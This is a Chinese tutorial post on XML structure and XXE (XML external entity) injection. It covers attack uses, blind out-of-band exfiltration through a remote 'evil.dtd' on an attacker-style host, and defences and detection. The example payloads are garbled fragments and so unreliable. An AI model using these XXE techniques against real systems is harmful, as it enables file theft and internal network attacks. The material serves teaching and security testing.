2.5_XXE(XML外部实体注入)

XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素;

    复制代码
    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           		<!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> 	<!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>		    <!--声明name为"#PCDATA"类型--> 	<!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>			    <!--声明age为"#CDATA"类型--> 	<!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>		    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>			    <!--ANY 表示可以包含任意元素-->
                        			    <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        	<!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                       			    <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       			
    <!ENTITY % name "小明">			    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                        			    <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name>			<!--sss接收"小明"-->
    </sss>
    </person>
  3. 外部引用支持的协议(通用:file,ftp,http

    |------------------------------------------------------------------------------------------|----------------------------------------------------------------------|---------------------------------|------------------------|
    | PHP | JAVA | .NET | libxml2 |
    | 1. file 2. ftp 3. http 4. php 5. data 6. glob 7. phar 8. compress.zlib 9. compress.bzip2 | 1. file 2. ftp 3. http 4. jar 5. https 6. gopher 7. netdoc 8. mailto | 1. file 2. ftp 3. http 4. https | 1. file 2. ftp 3. http |

XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):

    1). 扫描内网端口(http);

    2). 攻击内网网站(http);

    3). 任意文件读取(file,php);

    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类 利用方式
    有回显 直接利用即可 ]>&b; ]> &xxe; ]> &xxe; ]> &xxe; ]> &xxe; &xxe;
    无回显 通过 DNSlog 检测,http 日志外带; %xxe; ]> # VPS: # 启动服务:python -m SimpleHTTPServer 或 python -m http.server # 上传evil.dtd,文件内容: "> # Brup payload: %remote; %int; %send; ]>
  5. XXE防御方式:

    1). 禁用 外部实体(system,public);

    2). 过滤 用户输入;

    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:

    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;

    ①. 功能点提交的语句是 XML

    ②. 功能点提交的语句是 Json ,但改为 XML 后可用的 ;

  7. XXE验证方式:

    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;

    ①. 例: burp抓包中包含 :username=admin $ pass=123456;

    ②. 将其改为 <username>admin</username><pass>123456</pass>

    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:fileftphttpphpdata等等;

免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!

相关推荐
伩仁34 分钟前
你的"地址栏"是画出来的:一次 Steam 盗号事件的完整技术复盘
安全
hasty35 分钟前
一条 PATH 怎样让依赖包接管构建命令:pnpm 12.4.2 安全更新
安全·安全威胁分析
Raas10038 分钟前
AI网关支持OpenAI吗?MAI Gateway(魔芋企业级AI网关)实战能力深度解读
网关·安全·大模型·ai网关·mai gateway·魔芋·企业级产品
Acrellea1 小时前
告别粗放式能耗管理!安科瑞EIOT平台助力产业园区智慧低碳运营
运维·安全·能源
TechWJ1 小时前
没有公网 IP 也想远程连 PostgreSQL?从本地数据库到固定 TCP 地址完整配置
大数据·数据库·网络安全·postgresql·内网穿透
迪康coolmu3 小时前
企业文件外发管控落地实践 —— 基于迪康端点安全一体化管理系统
运维·网络·经验分享·安全
yu_zhidun5 小时前
终端安全EDR项目落地踩坑与能力补全实战
安全·数据安全·edr·域智盾软件
ynchyong5 小时前
为自己科普DTLS
安全·数据传输
TechWayfarer5 小时前
IP地址查询之后:如何在请求抵达前识别风险
python·tcp/ip·网络安全
AI行业应用研究5 小时前
会务问答机器人落地拆解:三级路由、知识库组织与防幻觉——会务小程序能自己回答参会者提问吗?
大数据·人工智能·安全·小程序·架构